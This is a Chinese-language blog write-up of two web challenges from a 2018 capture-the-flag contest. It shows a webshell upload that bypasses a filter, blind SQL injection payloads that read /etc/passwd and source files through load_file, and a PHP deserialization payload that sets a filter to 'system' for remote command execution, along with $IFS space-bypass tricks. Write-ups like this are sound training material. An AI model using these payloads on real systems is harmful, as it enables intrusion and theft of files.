Ywc's blog

安恒11月月赛Write-up

Word count: 758Reading time: 3 min
2018/11/24

WEB

手速要快

打开界面后发现要输入pasword,查看头部发现password,直接提交即可进入上传界面。

安恒11月月赛

上传一句话木马,发现有waf尝试各种绕过,最后服务器版本是Apache/2.4.6,可以使用apache解析漏洞,后缀名改为Apache不认识的就可以了。

安恒11月月赛

上传成功后菜刀没连上,这里使用命令执行,ls whoami等测试后发现flag在上层目录:

安恒11月月赛

flag直接在上层目录flag{698539765730b69026796420b9201e03}

也可以参考smile师傅的文章

ezsql

打开页面,发现只有注册,登录功能,然后就是个人信息页面

http://101.71.29.5:10024/user/user.php?id=5

随手测试了一下,发现存在sql注入

http://101.71.29.5:10024/user/user.php?id=if(1,1,2)

安恒11月月赛

http://101.71.29.5:10024/user/user.php?id=if(0,1,2)

安恒11月月赛

但这里的过滤很坑,首先没有引号,其次是过滤没有回显,我无法通过

if(length('a'),1,2)

后来在随便测试的时候发现

if(hex(database())like(0x25),1,2)

安恒11月月赛

回显正常,随即觉得应该有戏,但是由于过滤太多,依次尝试,发现可以load_file

if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)

尝试读了一下/etc/passwd

发现成功,于是想到读/var/www/html/index.php

然后得到文件内容

1
2
3
4
5
6
7
8
<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>

然后读/var/www/html/config.php

得到文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}

发现是一波反序列化的操作,注意到函数

1
2
3
4
5
 public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}

以及

1
2
3
4
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}

发现可控值,跟踪SetFilter

发现

1
2
3
4
5
$value=waf_exec($value); 
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

发现可进行RCE的位置,于是尝试构造

1
2
3
$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));

安恒11月月赛

发现成功列目录,但是在尝试读取flag的时候出现问题

首先flag2333是个目录,然后/和空格被过滤,我们列出当前文件夹下所有文件

这里使用$IFS进行绕过空格

安恒11月月赛

得到文件名,依旧无法cat,因为没有/,尝试通配符?,发现也被过滤

最后想到grep,如下图

安恒11月月赛

即可无需目录名getflag

CATALOG
  1. 1. WEB
    1. 1.1. 手速要快
    2. 1.2. ezsql